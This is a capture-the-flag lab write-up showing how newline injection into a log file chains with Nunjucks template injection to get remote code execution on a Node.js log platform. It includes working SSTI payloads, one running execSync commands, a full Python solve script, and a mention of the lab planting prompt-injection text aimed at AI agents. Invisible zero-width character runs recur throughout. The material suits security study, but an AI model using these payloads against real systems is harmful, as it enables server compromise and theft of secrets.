← Back to Writeups
CUSTOMMediumWeb

Lab 337 — LogStream

XESXOR9/2/20265 min read
#web#custom#medium#crlf_log_injection#environment_variable_disclosur#forged_log_entry_injection#newline_injection_in_query_par#nunjucks_ssti_via_renderstring

Lab 337 — LogStream

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: crlf_log_injection, environment_variable_disclosure, forged_log_entry_injection, newline_injection_in_query_parameter, nunjucks_ssti_via_renderstring

Summary

Walkthrough of the CUSTOM Web Lab 337 — LogStream. Task: Node.js/Express log aggregation platform with Nunjucks templates; search queries logged to file without newline sanitization, system log viewer renders module field via renderString() unsafely.

Description

LogStream is a centralized log aggregation platform used by DevOps teams at StreamOps Technologies to collect, search, and visualize application logs across their infrastructure. The platform provides real-time log streaming from multiple sources (Nginx, Node.js APIs, PostgreSQL, Redis, Kubernetes), advanced search filters, configurable alert rules with threshold detection, and a team-shared system log viewer with syntax highlighting.

As a security researcher, you have been given access to a test account on this platform. Your goal is to find a way to compromise the server and retrieve the flag stored on the system.

Pay close attention to how user input flows through the system — particularly how search queries are processed, logged, and subsequently displayed. Not all rendering pipelines sanitize data the same way.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express log aggregation platform with Nunjucks templating. Users can search logs via an API endpoint, and all search queries are written to a system log file. A System Log Viewer page reads and renders this log file. The goal is to exploit the data flow from search input → log file → template rendering to achieve RCE and read the flag from the environment.

Analysis

Application Architecture

  • Backend: Node.js/Express behind Nginx 1.25.5
  • Template engine: Nunjucks (confirmed via system log entry: "Template engine configured: nunjucks")
  • Pages: Dashboard /, Log Streams /streams, Log Search /search, System Logs /admin/logs, Alert Rules /alerts, Settings /settings
  • Key API endpoint: GET /api/logs/search?query=TERM — searches logs AND writes the search query to /var/log/logstream.log
  • System Log Viewer: /admin/logs reads and renders /var/log/logstream.log with syntax highlighting ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Observations

  1. The search page explicitly states: "All searches are logged for audit purposes" and "Programmatic access available via GET /api/logs/search?query="
  2. The challenge description hints: "Not all rendering pipelines sanitize data the same way"
  3. HTML source contains a decoy/honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection text designed to trick automated scanners and AI agents — this is FAKE

Vulnerability Chain

Two vulnerabilities chain together: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. CRLF Log Injection: The /api/logs/search?query= endpoint writes the search query directly to /var/log/logstream.log without sanitizing newline characters (%0a). This allows injecting arbitrary new lines into the log file.

  2. SSTI in the module field: The System Log Viewer uses nunjucks.renderString() to format log entries. The module field is directly concatenated into the Nunjucks template string before rendering — without escaping. Other fields like message are properly escaped via variable interpolation ({{ entry.message }}). This differential sanitization is the core vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Log Format Discovery (Critical Insight)

The log file uses square bracket format: [TIMESTAMP] [LEVEL] [MODULE] MESSAGE

This was the hardest part to discover. Initial attempts using space-separated format (TIMESTAMP LEVEL MODULE MESSAGE) didn't match the log parser's regex, so injected lines were silently dropped by the viewer. Only entries matching the [...] [...] [...] bracket format are parsed and rendered.

Solution

Step 1 — Confirm CRLF Injection

Inject a newline via URL-encoded %0a in the search query: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

GET /api/logs/search?query=BEFORE%0aAFTER

Result: "BEFORE" appears as the logged search query on one line; "AFTER" goes to a new line in the raw log file. This confirms newline injection.

Step 2 — Forge a Valid Log Entry

Craft a search query that, after the newline, produces a line matching the log parser's expected format:

GET /api/logs/search?query=x%0a[2026-03-20T10:00:00Z] [ERROR] [TestModule] test message

Visiting /admin/logs shows the forged entry rendered as a legitimate log line with module "TestModule". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — Confirm SSTI

Place a Nunjucks expression in the module field position:

GET /api/logs/search?query=x%0a[2026-03-20T10:00:00Z] [ERROR] [{{7*7}}] testmsg

Visiting /admin/logs shows the module field rendered as 49 instead of {{7*7}} — confirming Nunjucks Server-Side Template Injection.

Step 4 — Extract the Flag via RCE

Use Nunjucks SSTI to access Node.js global.process.env.FLAG:

GET /api/logs/search?query=x%0a[2026-03-20T10:00:00Z] [ERROR] [{{"a".constructor.constructor("return global.process.env.FLAG")()}}] rce

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Visiting /admin/logs renders the flag FLAG{REDACTED} in the module field of the forged log entry.

Attack Chain Diagram

User search query with %0a newline
    ↓
/api/logs/search?query=... writes to /var/log/logstream.log
    ↓
Forged log entry with SSTI payload in [MODULE] field
    ↓
/admin/logs reads log file, parses entries
    ↓
nunjucks.renderString() evaluates MODULE field (unsanitized)
    ↓
{{"a".constructor.constructor("return global.process.env.FLAG")()}}
    ↓
RCE → reads process.env.FLAG → flag displayed in viewer

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Payloads

SSTI confirmation:

x%0a[2026-03-20T10:00:00Z] [ERROR] [{{7*7}}] testmsg

Flag extraction (environment variable):

x%0a[2026-03-20T10:00:00Z] [ERROR] [{{"a".constructor.constructor("return global.process.env.FLAG")()}}] rce

Alternative RCE payload (arbitrary command execution):

x%0a[2026-03-20T10:00:00Z] [ERROR] [{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}] rce

Solve Script

python
#!/usr/bin/env python3
"""
LogStream — CRLF Log Injection → Nunjucks SSTI → RCE
Exploit: Inject forged log entry via newline in search query,
         SSTI in module field reads process.env.FLAG
"""
import requests
import re
import urllib.parse
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "http://TARGET:PORT"

# 1. Login
session = requests.Session()
session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
})

# 2. Inject SSTI payload via CRLF in search query
ssti_payload = '{{"a".constructor.constructor("return global.process.env.FLAG")()}}'
forged_line = f'[2026-03-20T10:00:00Z] [ERROR] [{ssti_payload}] rce'
inject_query = f'x\n{forged_line}'

session.get(f"{BASE_URL}/api/logs/search", params={"query": inject_query})

# 3. Read rendered output from system log viewer
resp = session.get(f"{BASE_URL}/admin/logs")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 4. Extract flag
flag_match = re.search(r'FLAG\{[a-f0-9]+\}', resp.text)
if flag_match:
    print(f"Flag: {flag_match.group()}")
else:
    print("Flag not found in response")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering crlf_log_injection, environment_variable_disclosure, forged_log_entry_injection, newline_injection_in_query_parameter, nunjucks_ssti_via_renderstring was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 337 — LogStream • Difficulty: Medium